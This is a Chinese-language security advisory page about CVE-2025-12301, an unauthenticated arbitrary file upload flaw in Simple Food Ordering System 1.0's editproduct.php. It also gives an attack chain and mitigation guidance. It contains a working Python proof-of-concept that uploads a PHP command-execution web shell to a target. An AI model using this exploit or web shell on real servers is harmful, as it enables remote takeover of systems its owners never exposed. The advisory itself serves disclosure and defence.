IPBUF安全漏洞报告
English
CVE-2025-12301 CVSS 7.3 高危

CVE-2025-12301: Simple Food Ordering System 1.0 任意文件上传漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12301
漏洞类型
无限制文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Food Ordering System 1.0

相关标签

CVE-2025-12301无限制文件上传Simple Food Ordering Systemcode-projects远程代码执行WebShelleditproduct.php高危漏洞文件上传绕过PHP漏洞

漏洞概述

CVE-2025-12301是code-projects团队开发的Simple Food Ordering System 1.0版本中存在的严重安全漏洞。该漏洞位于管理后台的/editproduct.php文件中的photo参数,攻击者可以通过该参数上传任意文件到服务器,而系统未对上传文件的类型、内容和扩展名进行有效验证。此漏洞被评定为高危级别,CVSS评分达到7.3分,攻击复杂度低且无需认证即可利用,远程攻击者可以直接通过HTTP请求触发该漏洞。成功利用此漏洞后,攻击者可以上传恶意脚本文件(如WebShell)到服务器,从而实现远程代码执行,完全控制受影响的Web服务器。由于该漏洞已公开披露且利用代码已发布,强烈建议使用该系统的用户立即采取防护措施,避免遭受恶意攻击。

技术细节

该漏洞根源在于editproduct.php文件对用户上传的photo参数缺少严格的文件类型验证和内容检查。攻击者可以利用管理后台的上传功能,通过构造恶意的HTTP POST请求,将包含恶意代码的文件(如.php、.phtml、.phar等)作为产品图片上传到服务器。由于系统仅检查文件是否成功上传,而未验证文件扩展名、MIME类型或文件内容,攻击者可以轻易绕过这些限制。上传成功后,攻击者可以通过直接访问上传文件路径来执行恶意代码,从而获取服务器控制权。典型的攻击流程包括:1)识别目标系统;2)构造包含WebShell的上传请求;3)访问上传的Shell文件;4)通过Shell执行系统命令。防御此类漏洞需要在服务端实现多层验证机制,包括白名单扩展名检查、MIME类型验证、文件内容扫描、文件重命名以及上传目录访问权限控制。

攻击链分析

STEP 1
步骤1
识别目标:攻击者扫描互联网或内部网络,识别运行Simple Food Ordering System 1.0的Web服务器
STEP 2
步骤2
访问管理后台:攻击者访问/editproduct.php文件,这是产品编辑功能页面
STEP 3
步骤3
构造恶意请求:攻击者构造包含恶意PHP代码(如WebShell)的photo参数,通过HTTP POST请求上传
STEP 4
步骤4
绕过验证:利用系统缺少文件类型验证的缺陷,上传.php等可执行文件扩展名
STEP 5
步骤5
获取Shell:成功上传后,攻击者访问上传文件路径,触发执行恶意代码
STEP 6
步骤6
远程控制:通过WebShell执行系统命令,完全控制服务器,可进行数据窃取、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12301 PoC - Simple Food Ordering System 1.0 File Upload # Target: /editproduct.php # Vulnerability: Unrestricted file upload via 'photo' parameter def upload_shell(target_url, shell_code): """ Upload malicious PHP shell to target server Args: target_url: Full URL to editproduct.php shell_code: PHP code to upload Returns: Upload response status and uploaded file path """ files = { 'photo': ('shell.php', shell_code, 'application/x-php') } try: response = requests.post(target_url, files=files, timeout=10) if response.status_code == 200: print(f'[+] File uploaded successfully') print(f'[+] Status Code: {response.status_code}') # Extract uploaded file path from response if 'upload' in response.text.lower() or 'success' in response.text.lower(): print('[+] Shell uploaded - check for execution') return True else: print(f'[-] Upload failed - Status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) != 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/editproduct.php') sys.exit(1) target = sys.argv[1] php_shell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print(f'[*] CVE-2025-12301 PoC - Simple Food Ordering System File Upload') print(f'[*] Target: {target}') upload_shell(target, php_shell) if __name__ == '__main__': main()

影响范围

code-projects Simple Food Ordering System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即限制editproduct.php等管理功能的访问权限,仅允许受信任的IP地址访问;2)配置Web服务器禁止上传目录执行PHP、ASP等脚本文件;3)使用ModSecurity等WAF规则阻止包含可执行文件扩展名的上传请求;4)实施严格的文件类型和内容验证;5)启用详细的访问日志和文件上传日志监控,及时发现异常上传行为;6)考虑暂时禁用产品图片上传功能,待漏洞修复后再恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表